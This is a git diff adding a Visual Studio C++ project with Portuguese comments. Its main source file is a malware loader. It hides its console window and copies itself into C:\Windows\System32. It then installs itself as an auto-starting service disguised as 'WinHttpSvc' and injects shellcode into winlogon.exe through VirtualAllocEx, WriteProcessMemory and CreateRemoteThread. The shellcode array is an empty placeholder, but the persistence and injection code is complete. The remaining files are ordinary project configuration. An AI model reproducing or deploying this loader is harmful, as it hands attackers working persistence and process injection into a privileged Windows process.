diff --git a/ConsoleApplication1.cpp b/ConsoleApplication1.cpp new file mode 100644 index 0000000..285561d --- /dev/null +++ b/ConsoleApplication1.cpp @@ -0,0 +1,228 @@ +#include +#include +#include +#include + +#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") + +#define SERVICE_NAME L"WinHttpSvc" + +SERVICE_STATUS ServiceStatus; +SERVICE_STATUS_HANDLE hStatus; + +// Declaração das funções +void ServiceMain(int argc, char* argv[]); +void ControlHandler(DWORD request); +void start(HINSTANCE handle); +bool InjectShellcode(DWORD processId); +void InstallService(); +bool IsServiceInstalled(); + +// Ponto de entrada do aplicativo +int main(int argc, char* argv[]) { + // Verifica se o serviço está instalado; se não estiver, instala-o. + if (!IsServiceInstalled()) { + InstallService(); + } + + // Continua iniciando o serviço normalmente + SERVICE_TABLE_ENTRY ServiceTable[2] = { { NULL, NULL }, { NULL, NULL } }; + ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; + ServiceTable[0].lpServiceName = const_cast(SERVICE_NAME); + StartServiceCtrlDispatcher(ServiceTable); + return 0; +} + +// Função principal do serviço do Windows +void ServiceMain(int argc, char* argv[]) { + // Inicializa a estrutura de status do serviço + ServiceStatus.dwServiceType = SERVICE_WIN32; + ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwServiceSpecificExitCode = 0; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + + // Registra o manipulador de controle para o serviço + hStatus = RegisterServiceCtrlHandlerW(SERVICE_NAME, (LPHANDLER_FUNCTION)ControlHandler); + + // Se o registro do manipulador de controle falhar, retorna do serviço + if (hStatus == (SERVICE_STATUS_HANDLE)NULL) + return; + + // Inicia a lógica principal do serviço + start(NULL); + ExitProcess(0); +} + +// Função de manipulação de controle para o serviço +void ControlHandler(DWORD request) { + switch (request) { + case SERVICE_CONTROL_STOP: + // Trata o pedido de controle de parada + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(hStatus, &ServiceStatus); + return; + + case SERVICE_CONTROL_SHUTDOWN: + // Trata o pedido de controle de desligamento do sistema + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(hStatus, &ServiceStatus); + return; + + default: + // Trata outros pedidos de controle (se houver) + break; + } + + return; +} + +// Injeta o shellcode em um processo especificado +bool InjectShellcode(DWORD processId) { + // Abre o processo de destino com todos os direitos de acesso + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); + if (hProcess == NULL) { + return false; + } + + // Substitua `shellcode` pelo seu shellcode específico + unsigned char shellcode[] = { /* shellcode aqui */ }; + + SIZE_T shellcodeSize = sizeof(shellcode); + + // Aloca memória dentro do processo de destino e escreve o shellcode + LPVOID pShellcode = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pShellcode == NULL) { + CloseHandle(hProcess); + return false; + } + + // Escreve o shellcode na memória alocada + if (!WriteProcessMemory(hProcess, pShellcode, shellcode, shellcodeSize, NULL)) { + VirtualFreeEx(hProcess, pShellcode, 0, MEM_RELEASE); + CloseHandle(hProcess); + return false; + } + + // Cria uma thread remota dentro do processo de destino para executar o shellcode + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, NULL); + if (hThread == NULL) { + VirtualFreeEx(hProcess, pShellcode, 0, MEM_RELEASE); + CloseHandle(hProcess); + return false; + } + + // Fecha o handle da thread e do processo + CloseHandle(hThread); + CloseHandle(hProcess); + return true; +} + +// Lógica principal do serviço: encontra o processo de destino e injeta o shellcode nele +void start(HINSTANCE handle) { + // Encontra o ID do processo de "winlogon.exe" + DWORD targetProcessId = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + return; + } + + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapshot, &pe32)) { + do { + if (lstrcmpiW(pe32.szExeFile, L"winlogon.exe") == 0) { + targetProcessId = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe32)); + } + + CloseHandle(hSnapshot); + + // Se o processo de destino for encontrado, injeta o shellcode + if (targetProcessId != 0) { + if (InjectShellcode(targetProcessId)) { + // Shellcode injetado com sucesso no processo "winlogon.exe" + } + else { + // Falha ao injetar o shellcode + } + } + else { + // Processo "winlogon.exe" não encontrado + } +} + +// Instala o serviço do Windows +void InstallService() { + // Abre o Gerenciador de Controle de Serviços com as permissões adequadas + SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (!hSCManager) { + return; + } + + // Obtém o caminho do executável atual + wchar_t szPath[MAX_PATH]; + if (GetModuleFileName(NULL, szPath, MAX_PATH) == 0) { + CloseServiceHandle(hSCManager); + return; + } + + // Copia o executável para C:\Windows\System32 + std::wstring targetPath = L"C:\\Windows\\System32\\"; + targetPath += std::filesystem::path(szPath).filename().wstring(); + if (!CopyFile(szPath, targetPath.c_str(), TRUE)) { + CloseServiceHandle(hSCManager); + return; + } + + // Cria uma nova entrada de serviço para o aplicativo + SC_HANDLE hService = CreateServiceW( + hSCManager, + SERVICE_NAME, + SERVICE_NAME, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + targetPath.c_str(), // Usa o caminho do executável copiado para o serviço + NULL, + NULL, + NULL, + NULL, + NULL + ); + + // Fecha o handle do serviço e do Gerenciador de Controle de Serviços + if (hService) { + CloseServiceHandle(hService); + } + CloseServiceHandle(hSCManager); +} + +// Verifica se o serviço já está instalado +bool IsServiceInstalled() { + // Abre o Gerenciador de Controle de Serviços com as permissões adequadas + SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCManager) { + return false; + } + + // Tenta abrir o serviço pelo nome + SC_HANDLE hService = OpenServiceW(hSCManager, SERVICE_NAME, SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCManager); + return false; + } + + // Fecha o handle do serviço e do Gerenciador de Controle de Serviços + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return true; +} diff --git a/ConsoleApplication1.sln b/ConsoleApplication1.sln new file mode 100644 index 0000000..20a654f --- /dev/null +++ b/ConsoleApplication1.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.33801.447 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ConsoleApplication1", "ConsoleApplication1.vcxproj", "{D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Debug|x64.ActiveCfg = Debug|x64 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Debug|x64.Build.0 = Debug|x64 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Debug|x86.ActiveCfg = Debug|Win32 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Debug|x86.Build.0 = Debug|Win32 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Release|x64.ActiveCfg = Release|x64 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Release|x64.Build.0 = Release|x64 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Release|x86.ActiveCfg = Release|Win32 + {D883F7E6-8EF0-4F23-9F20-1F82731E3D1F}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A97A394E-774A-4722-B1B0-FC8E55EBE189} + EndGlobalSection +EndGlobal diff --git a/ConsoleApplication1.vcxproj b/ConsoleApplication1.vcxproj new file mode 100644 index 0000000..f84687f --- /dev/null +++ b/ConsoleApplication1.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {d883f7e6-8ef0-4f23-9f20-1f82731e3d1f} + ConsoleApplication1 + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpplatest + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/ConsoleApplication1.vcxproj.filters b/ConsoleApplication1.vcxproj.filters new file mode 100644 index 0000000..2b328f6 --- /dev/null +++ b/ConsoleApplication1.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Arquivos de Origem + + + + + Arquivos de Cabeçalho + + + \ No newline at end of file diff --git a/ConsoleApplication1.vcxproj.user b/ConsoleApplication1.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/ConsoleApplication1.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file